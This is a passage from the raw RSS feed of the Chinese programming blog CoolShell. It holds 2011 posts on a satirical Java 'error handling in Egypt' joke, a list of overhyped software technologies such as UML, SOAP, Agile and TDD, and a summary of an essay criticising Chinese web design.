height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"GDB 7.0 发布\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1525.html\" class=\"wp_rp_title\">GDB 7.0 发布</a></li><li ><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"高科技：GDB回溯调试\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1502.html\" class=\"wp_rp_title\">高科技：GDB回溯调试</a></li><li ><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"纯文本配置还是注册表\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4077.html\" class=\"wp_rp_title\">纯文本配置还是注册表</a></li><li ><a href=\"https://coolshell.cn/articles/2834.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/08/super_mario-150x150.jpg\" alt=\"史上最烂的超级玛丽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2834.html\" class=\"wp_rp_title\">史上最烂的超级玛丽</a></li><li ><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/12/googlequestion-150x150.jpg\" alt=\"140个Google的面试题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3345.html\" class=\"wp_rp_title\">140个Google的面试题</a></li><li ><a href=\"https://coolshell.cn/articles/2806.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/08/coolshell.programmer-150x150.jpg\" alt=\"程序员版的凡客\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2806.html\" class=\"wp_rp_title\">程序员版的凡客</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3643.html\">GDB中应该知道的几个调试方法</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3643.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>43</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Error handling in Egypt</title>\n\t\t<link>https://coolshell.cn/articles/3630.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3630.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Wed, 09 Feb 2011 00:45:03 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Egypt]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<category><![CDATA[错误处理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3630</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>以前发布过《C语言的错误处理》一文，不过今天想说的是Egypt的“错误处理”。埃及的事闹得挺大的，国外和中文twitter上更是炸了锅。不要以为程序员就只会写程...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3630.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3630.html\">Error handling in Egypt</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>以前发布过《<a href=\"https://coolshell.cn/articles/551.html\" target=\"_blank\">C语言的错误处理</a>》一文，不过今天想说的是Egypt的“错误处理”。埃及的事闹得挺大的，国外和中文twitter上更是炸了锅。不要以为程序员就只会写程序——看看程序员举出来的标语吧。呵呵。</p>\n<figure id=\"attachment_3631\" aria-describedby=\"caption-attachment-3631\" style=\"width: 600px\" class=\"wp-caption aligncenter\"><a href=\"https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg\"><img decoding=\"async\" loading=\"lazy\" class=\"size-full wp-image-3631\" title=\"Error handling in Egypt\" src=\"https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg\" alt=\"\" width=\"600\" height=\"454\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt.jpg 600w, https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt-300x227.jpg 300w, https://coolshell.cn/wp-content/uploads/2011/02/Error-handling-in-Egypt-357x270.jpg 357w\" sizes=\"(max-width: 600px) 100vw, 600px\" /></a><figcaption id=\"caption-attachment-3631\" class=\"wp-caption-text\">Error handling in Egypt</figcaption></figure>\n<p>当然，作为程序员来说，这段代码显然还需要重构：<br />\n<span id=\"more-3630\"></span></p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">try{\n    elections(free,fare);\n} catch(DemocracyNotFoundException){\n    System.err.println(&quot;Time for Mubarak to leave&quot;);\n}</pre>\n<p>也有的程序员说，System.err.println不是处理错误的最好方法，正确的方法应该是：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">try {\n    elections(free,fair);\n} catch (DemocracyNotFoundException e) {\n    throw new MubarakDepartureParty(e);\n}</pre>\n<p>最后，我们希望Egypt不要出现：</p>\n<pre data-enlighter-language=\"java\" class=\"EnlighterJSRAW\">...\nfinally {\n    Security.shootProtesters();\n}</pre>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3630.html\">Error handling in Egypt</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3630.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>8</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>那些炒作过度的技术和概念</title>\n\t\t<link>https://coolshell.cn/articles/3609.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3609.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 28 Jan 2011 02:00:52 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[流程方法]]></category>\n\t\t<category><![CDATA[编程工具]]></category>\n\t\t<category><![CDATA[agile]]></category>\n\t\t<category><![CDATA[COBRA]]></category>\n\t\t<category><![CDATA[OOP]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[SOA]]></category>\n\t\t<category><![CDATA[SOAP]]></category>\n\t\t<category><![CDATA[UML]]></category>\n\t\t<category><![CDATA[XML]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3609</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>StackExchange.com上有一个贴子在评论着最近20年来被炒作过度的技术，对于出现的结果，大多数赞同，也有一些不赞同。下面我从前15名挑了10个（Ja...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3609.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://stackexchange.com\" target=\"_blank\">StackExchange.com</a>上有一个<a href=\"http://programmers.stackexchange.com/questions/38505/most-overhyped-software-engineering-technologies-and-concepts-of-the-last-20-year\" target=\"_blank\">贴子</a>在评论着最近20年来被炒作过度的技术，对于出现的结果，大多数赞同，也有一些不赞同。下面我从前15名挑了10个（Java的WORE我去掉了，TDD我也去掉了，因为我觉得他们应该没有炒作过度，而且都不错），按原贴的顺序罗列如下：（后面的一些评论是我加的，欢迎大家讨论）</p>\n<h4>Top 10 过度炒作的技术和概念</h4>\n<ul>\n<li><strong>Unified Modeling Language (UML)</strong> &#8211; UML是一个程序员交流想法的不错的工具，但是他离程序员真正需要的设计工具还差得很远，比如：设计是否符合需求、架构设计、数据流等等。只有为数不多的程序员使用这个工具交流想法，而没有用在具体工作中。</li>\n</ul>\n<ul>\n<li><strong>Sharepoint </strong>&#8211; 现在N多的公司都在用微软的这个东西做公司内部的Intranet。不过安装和维护起来，代价相当的大。但是其市场做的很成功，不对技术上来说对技术人员来说，相当的蹩脚。Sharepoint的设计没有认真地分析过业务流程，仅仅是一个文档存储地。看上去我们似乎可以做任何的事，但是如果你要用其来管理你的项目和track你的项目问题，你会发现其是无比的难用。</li>\n</ul>\n<ul>\n<li><strong>eXtensible Mark-up Language (XML)</strong> &#8211;  XML嘛，以前说过很多了（<a href=\"https://coolshell.cn/articles/2504.html\" target=\"_blank\">XML1</a>，<a href=\"https://coolshell.cn/articles/3498.html\" target=\"_blank\"> XML2</a>）我们用他来做和程序数据封装，用来做配置文件，用来做网络传输格式。我们的程序处理起XML来，又慢，又不经济，没有工具，几乎无法维护XML文件。XML用来做数据封包真是很不经济，Yaml和JSON那个不比它简单？用XML来做程序配置文件不知道是谁想出来的主意，相当的愚蠢，看看Unix/Linux下的配置文件，简单易读，相当容易维护。真是高科技啊。</li>\n</ul>\n<ul>\n<li><strong>SOAP, XML-RPC, WSDL 的 Web Services</strong> &#8211; 这个东西前几年炒的很凶。所有人都相信，这是程序员的未来。可惜的，其中的复杂和不一致，相当的令人恶心。<a href=\"https://coolshell.cn/articles/3585.html\" target=\"_blank\">SOAP的那个S居然还是Simple</a>！看来，扯上XML的都不会是什么好的东东。不过，个人认为，CORBA比他更恶。</li>\n</ul>\n<p><span id=\"more-3609\"></span></p>\n<ul>\n<li><strong>CORBA </strong>&#8211; 作为一个比其更恶的更过度炒作的COM技术的Linux/Unix下的补充技术，这个技术也好不到哪里去。相当的复杂，从理论上开始就是这样了。这是一个没有经过实践就搞出来的一个东西。然后开始炒作。</li>\n</ul>\n<ul>\n<li><strong>Cloud Computing</strong> &#8211; 这是一个靠炒作出现的东西。这个东西也就是说，我们可以使用不同的调备，比如电脑，平板电脑，手机，移动设备随时随地做想做的事。Google的Chrome笔记本的广告展示了这项技术，但是，把工作结果放在云端的人会有多少呢。更多的人更喜欢的是去使用那些自己可以控制的电脑或平台。Google在这点上做的明显不如Amazon，像Amazon EC2平台，你可以在世界上任何一个角落随时随地的去启动你那台远程的系统。（<strong><span style=\"color: #800000;\"><em>更新（2011/1/29）</em></span></strong>：<span style=\"color: #808080;\">解释一下，关于云计算，在写下这篇文章的时候我本来有点拿不定主意的，后来回顾了一下历史，如COM啊，ActiveX啊，EJB啊，当时感觉都是很强的东西，但是最终也只是被炒作的。云计算，我不知道未来怎么样，从今天来看，这项技术在今天存在炒作的情况——中移动云，阿里云，到处都是云，在云面前，神马都是浮云了。</span>）</li>\n</ul>\n<ul>\n<li><strong>SOA &#8211; Service Oriented Architecture</strong> &#8211; 这是一个没有人真正知道是什么玩意的概念。炒作了很多年，很多人都试图去了解它，但最后的结果是打个哈欠，看别的东西去了。现在没有人提了。中国一些银行在IBM的鼓动下搞了很多所谓的SOA应用，结果是系统很复杂，当然，也再离不开IBM了。</li>\n</ul>\n<ul>\n<li><strong>Software Industrial Process</strong> &#8211; 软件开发中有很多所谓的工业界的流程，用这些流程好像可以控制质量。外包公司和中国的本土公司很喜欢这些东西，比如ISO和CMMi，这些流程不能说不好，也有好的地方，尤其是对那些不会思考只要跟从的Worker来说。这些工业界流程中炒作过度的是，那些所谓的使用这些流程可以预测项目周期，质量控制，以前需求开发和管理等东西。其让流程上升到了一种神学的可预言的地步，同样也上升到了政治的地步。因为，这些流程中都必然会有SQA 的Audit的流程，还有统计和报告的流程，这些统统不是软件开发的流程，但是的确是相当的政治。使用这些工业届标准流程的公司，通常都是一些创造性有问题的公司。</li>\n</ul>\n<ul>\n<li><strong>Agile Software Development &#8211; 敏捷开发</strong>。首先，我承认其中的很多实践相当有效，在理论上也不错，还有很多不错方法的。不过，还是有炒作的成分（<span style=\"color: #008000;\"><strong>下面的言论，我等着被骂</strong></span>）对我来说，在中国，“敏捷开发”的炒作简直就像是一个电视购物，ThoughtWorks中国各种咨询师们软件开发经验其实并不丰富，准确来说，他们有的是咨询经验，而没有具体项目实施经验（有的咨询师甚至都没有写过一行代码就去学教人怎么编程和开发软件了），和他们沟通起来能够感到他们对敏捷很亢奋，而且是唯敏捷主义，就差打出Once Process，One Agile的口号了，他们信仰敏捷流程的已经接近宗教信仰，他们的精神世界很朝鲜。因为，无论你和他们的咨询师谈什么，他们只说敏捷，从来不会分析一下，项目的特性是什么？开发这个项目的人的风格是什么？客户的特性是什么？有没有关心软件的stakeholder们（如：程序员，测试人员，客户，管理人员）是怎么想的？而XP和SCRUM也就成了Push工程师最强大的工具。<strong><span style=\"color: #800000;\">流程这个东西，应该是项目组自发出来的东西，而不是被 灌输，被教条使用的东西。不同的团队、不同的项目、不同的人，不同的风格就是不同的流程，只有去使用适合自己的流程才是最好的流程</span></strong>。<strong>打个比方，足球队中，巴西队玩的是个人艺术足球，德国队玩的是整体和纪律性足球，意大利玩的是防守型足球，但是他们都有夺世界杯冠军的实力，如果你硬要让巴西队去整德国队或是意大利队的风格，那就悲剧了</strong>。很显然，ThoughtWorks很像把全中国的软件公司都整成Agile的，这注定了其在中国是杯具的，也只能争取到那些不知所措的公司和项目，没有合适的项目，也只有靠各种炒作（比如整一些大会，搞一些宣传）。他们总是觉得中国的用户和程序员需要去用时间不停地教育，但是，他们从来没有想想自己的原因 &#8212; 靠教育和灌输是永远赢不了的。<strong>我给他们的个人建议是，不要以为世界就像你所想像的那样，学会尊重程序员和项目还有很多非技术的东西，多听听程序员和客户怎么说，多分析一下项目的特质，从实际情况出发，而不是自己涛涛不绝地<strong>向大家</strong>灌输自己的理论</strong>。</li>\n</ul>\n<ul>\n<li><strong>Object-Oriented Programming (OOP</strong>) &#8211; 不多说了，以前本站说过了，所有的一切都在<a href=\"https://coolshell.cn/articles/3036.html\" target=\"_blank\">面向对象是个骗局</a>一文中。不过有一点我想告诉大家，面向对象的Design Pattern真是被滥用了，Design Pattern教你的是两件事，1）怎么去化繁为简，2）怎么能让对象的耦合性降低。而不是一个公式让你的套，但，更多的程序员则学会了“<a href=\"https://coolshell.cn/articles/2058.html\" target=\"_blank\">流行的设计模式编程</a>”。</li>\n</ul>\n<h4>附：下构面是我拿不定是否是过度炒作的技术</h4>\n<p><strong>Write Once Run Anywhere </strong>&#8211; 这个有点让我不解，不知道为什么会那么靠前。这是Java的口号，我觉得Java在跨平台方面还是成功的，没有过度炒作啊。用虚拟机的确是做到了这一点，对于那些需要有不同的硬件和操作系统平台并不断升级和更换它们的公司来说，这的确是个很不错的解决平台依赖性的方案。我个感觉这个技术并没有炒作过头，至少在Java这边是这样的。与其说这个，还不如说EJB，这才是炒作过度的技术。</p>\n<p>[<span style=\"color: #000080;\">更新 2011/02/13</span>]下面的回复，在我形成这篇文章的时候我没有想过，经ming同学一说，我觉得似乎有些道理。</p>\n<blockquote cite=\"#commentbody-29425\"><p><strong><a rel=\"nofollow\" href=\"https://coolshell.cn/articles/3609.html/comment-page-1#comment-29425\">ming</a> :</strong></p>\n<p>我从一开始就觉得java的“Write Once Run Anywhere”是彻头彻尾的炒作。</p>\n<p>想想，所谓的跨平台无非就是依靠虚拟机、解释器之类的东西实现的，那么，哪个脚本语言不是依靠解释器呢？古老的perl已经跨平台了。当然，跨平台的语言还有很多。但是，只有java炒作这个概念。</p></blockquote>\n<p><strong>Test Driven Design (TDD)</strong> &#8211; 从测试案例开始写程序这可能是很多程序员都不习惯的方法。其实这是一种比较好的编程方法，保证了代码怎么改动都不会break其它没有改动的代码，代码可以在一种持续集成中保证质量。但是，我们需要知道TDD的一些副作用（在<a title=\"十条不错的编程观点 \" href=\"https://coolshell.cn/articles/2424.html\">十条不错的编程观点</a>里也提到过TDD的弊端）：1）TDD可能会让程序员敷衍了事，以为test case 没有错就正确了。2）TDD可能会让你忽略了软件设计和架构以及程序的扩展性和重用性。T<strong>DD只是一种方法，并不是程序的核心</strong>。当然，TDD近几年的炒作也有点过头，已经出现了“TDD是一种Design方法”等“神乎其技”的论调，我对此表示质疑中。</p>\n<p>[更新 2011/02/13] 关于TDD，请参看我另一篇文章《<a rel=\"bookmark\" href=\"https://coolshell.cn/articles/3649.html\" target=\"_blank\">TDD并不是看上去的那么美</a>》</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3609.html\">那些炒作过度的技术和概念</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3609.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>278</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>为什么中国的网页设计那么烂？</title>\n\t\t<link>https://coolshell.cn/articles/3605.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3605.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 28 Jan 2011 00:47:14 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Culture]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[Web]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3605</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>Nick Johnson，一个有12年经验的Web设计师在它的blog里写下了“Why is Chinese Web Design So Bad”，新浪，人人，...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3605.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3605.html\">为什么中国的网页设计那么烂？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><a href=\"http://thinkvitamin.com/author/nickjohnson/\" target=\"_blank\">Nick Johnson</a>，一个有12年经验的Web设计师在它的blog里写下了“<a href=\"http://thinkvitamin.com/design/why-is-chinese-web-design-so-bad/\" target=\"_blank\">Why is Chinese Web Design So Bad</a>”，新浪，人人，百度，阿里巴巴，腾讯榜上有名。<strong>其中的观点相当的好，希望所有的中国人都读一下。</strong>我不全文翻译了，只是给大家看一些摘要。（保证不会像《环球时报》一样）</p>\n<p>——————————</p>\n<p>作者2005年的夏天来到中国，他说，他注意到了中国那复杂的文化和西方的有多么的不同。比如，语言，身体特征，政府的执政理念，等等，但是，有一些地方确是差别很少的，比如：幽默的sense，还有对艺术的表现形式的兴趣。很快，因为职业，他发现在中国的网站设计上完全没有引吸到他。于是他开始让身边的中国朋友尽可能多的给他推荐中国的网站，他觉得这个可以对他学习Web Design有帮助。</p>\n<p>当他在评论起新浪，人人，百度，阿里巴巴，腾讯的时候，他说，百度和其它的不同，因为百度悍然地公开抄袭Google的Web Design（blatantly copied their design from Google），而人人则是很明显地抄袭facebook（clearly copied their design from Facebook）。而其它的多数的中国网站看上去有很多很多滑稽可笑的文本，一些网站在滥用图片，一些网站图片又不够。他感到很困扰，这样的网站都能被接受？这么多的东西，网民怎么可能看得过来啊？中国人怎么可能容忍这些。（注：他不知道我们中国人能承受的比这更多）</p>\n<p><span id=\"more-3605\"></span></p>\n<p>他说，更夸张的是，中国的网站上会有很多的动画，弹窗，幻灯片，感觉中国的设计师不是在设计，是在实践，还是实践那些很坏的设计理念，而些东西都是西方的设计师努力努力避免的。作者感到回到了1995年。</p>\n<p>作者说，作为一个傲慢自大的西方人，他的第一反应是——“哦，这是一个发展中国家，简单来说，还不能赶上我们”，当然，这有可能，因为Web Design和艺术表现也有个发展过程的，当<strong>前的中国也许正处于“结构设计”时期</strong>。作者个人认为的另一个可能是，中国的Web设计者们培养环境的问题——<strong>中国的教育培养是说教和影响的方式，而不是持续的自然的艺术的进化</strong>。艺术进化的根是文化培养，但是更应该是自然的，自由地进化。</p>\n<p>作者在说他为什么这么认为的原因时，提到了他花了些时间去了下中国的大学看看这些大学在教什么。他发现，<strong>中国的学生只是去记忆东西而不是真正的理解</strong>。<strong>他们从来不花时间去思考，而只是贪婪地去获取更多的信息</strong>。这和西方的教育完全的不同。（注：在这种教育体系下产生了像人人同抄袭和像新浪一样的满是信息的网页）作者继续说，在西方，他们一般用的都是“启发式”的东西，需要给人一种“啊，这样啊”的瞬间，这叫交互。而中国则不是，他们是先展示数据。中国的网站基本上是数据查询网站，就像把把信息注入到大脑中一样，没有过多的交互。</p>\n<p>另一个中国的文化是——这个民族真是很不直接，不像美国，在中国如果有人一针见血的表达观点是很不舒服的事。和中国人谈话需要拐很多弯。然而，对于西方人来说，模糊的表达才是让人很不舒服的。但是中国人都很接受这样的沟通方式。这也是中国网页设计成这个样子的一个原因。</p>\n<p>——————————————</p>\n<p>我觉得作者的话说的很中肯。然而，作者的这篇博文后面很多回复，你都可以去看看。那些回复中，我看到的是那些“不服输”的中国人（这是不是我们从小那种“争第一”的教育培养出来人呢？）。</p>\n<p>看完以后，我觉得让我思考的已经不是网页设计了，而是我们的教育和文化。</p>\n<p><strong>你呢？是在反思呢，还是准备去作者的 blog上debate呢？</strong><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p 